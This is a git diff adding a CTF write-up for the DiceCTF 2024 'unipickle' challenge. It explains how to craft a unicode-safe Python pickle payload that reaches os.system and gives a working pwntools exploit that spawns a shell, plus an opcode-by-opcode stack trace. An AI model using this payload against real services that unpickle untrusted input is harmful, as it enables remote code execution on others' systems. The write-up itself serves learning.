diff --git a/dicectf-2024/unipickle/README.md b/dicectf-2024/unipickle/README.md
new file mode 100644
index 0000000..b86798f
--- /dev/null
+++ b/dicectf-2024/unipickle/README.md
@@ -0,0 +1,80 @@
+# unipickle
+
+i was able to get a first blood!!! so happy about that because i have been working with pickle for so long now if i did not get first blood i would've been so disappointed in myself
+
+## problem
+
+```py
+#!/usr/local/bin/python
+import pickle
+pickle.loads(input("pickle: ").split()[0].encode())
+```
+
+standard pickle chall, but all chars must be unicode encodable
+
+# solution
+
+we can look at [pickle.py](https://github.com/python/cpython/blob/3.10/Lib/pickle.py) in the python source code and see what opcodes are unicode-friendly
+
+notably, the `STACK_GLOBAL` opcode is not unicode friendly by itself
+
+`GLOBAL` and `INST`, the other two ways to get arbitrary classes, are not possible because the `.split()[0]` in the problem makes it impossible to have any tabs, spaces, or newlines
+
+therefore, we must find a way to use `STACK_GLOBAL`
+
+![image](https://github.com/quasar098/ctf-writeups/assets/70716985/35dc0137-4240-46d0-9a8e-0e3f2f85b98b)
+
+we can get access to it by throwing away an arbitrary byte that is attached before it to make it valid unicode. notably, `b'\xc7\x93'` is a valid unicode character, for some reason.
+
+i found that out by enumerating over a large range of integers (like 0 to 20000) and using chr() and decoding and encoding it to see if it sticked, and also only outputting the ones that have `\x93` byte in them
+
+then, we can discard the `\xc7` by using `BINGET`, which takes a byte argument and retrieves the item assigned to byte 0xc7 from memo and puts it on the stack. 
+
+in this case, the item was `"system"`, and the previous item on the stack was `"os"`
+
+therefore, we can use `STACK_GLOBAL` to produce os.system, and then we can spawn a shell.
+
+```py
+from pwn import *
+from pickle import *
+
+p = remote("mc.ax", 31773)
+
+bs = lambda _: SHORT_BINSTRING + int.to_bytes(len(_), 1, 'big') + b"" + _.encode() + b""
+
+q = (bs('os') + bs('system') + BINPUT + b'\xc7\x88' + POP + POP + BINGET + b'\xc7\x93' + MARK + bs('sh') + TUPLE + REDUCE + STOP)
+
+print(q)
+print(q.split())
+
+p.sendline(q)
+
+p.interactive()
+```
+
+also, we had to use `SHORT_BINSTRING` because it had all unicode-compliant characters (we cannot use binunicode because it requires `\n` iirc)
+
+also, we don't need `PROTO` because it is assumed as 0, which is fine i guess
+
+what the payload does to the stack and memo is below
+
+```
+start of pickle
+["os"] {} - put os on the stack
+["os", "system"] {} - put system on the stack
+["os", "system"] {199: "system"} - store system at 0xc7 in memo
+["os", "system", True] {199: "system"} - put True on the stack to make the 0xc7 compliant with unicode
+["os", "system"] {199: "system"} - pop the unnecessary True
+["os"] {199: "system"} - pop system since we have to binget it later
+["os", "system"] {199: "system"} - binget system in memo at 0xc7
+[os.system] {199: "system"} - stack global with another byte for unicode compliance
+[os.system, MARK] {199: "system"} - put MARK on the stack (we cannot use TUPLE1, but we can use TUPLE opcode)
+[os.system, MARK, "sh"] {199: "system"} - put sh on the stack
+[os.system, ("sh",)] {199: "system"} - put sh into a tuple by itself
+[None] {199: "system"} - execute the payload
+end of pickle
+```
+
+took me about 20 minutes to first blood it when i first saw the challenge, but it was a bit after the ctf started and somehow i was able to firstblood it still
+
+![image](https://github.com/quasar098/ctf-writeups/assets/70716985/517144e2-695b-438e-8272-a3df9788e0ec)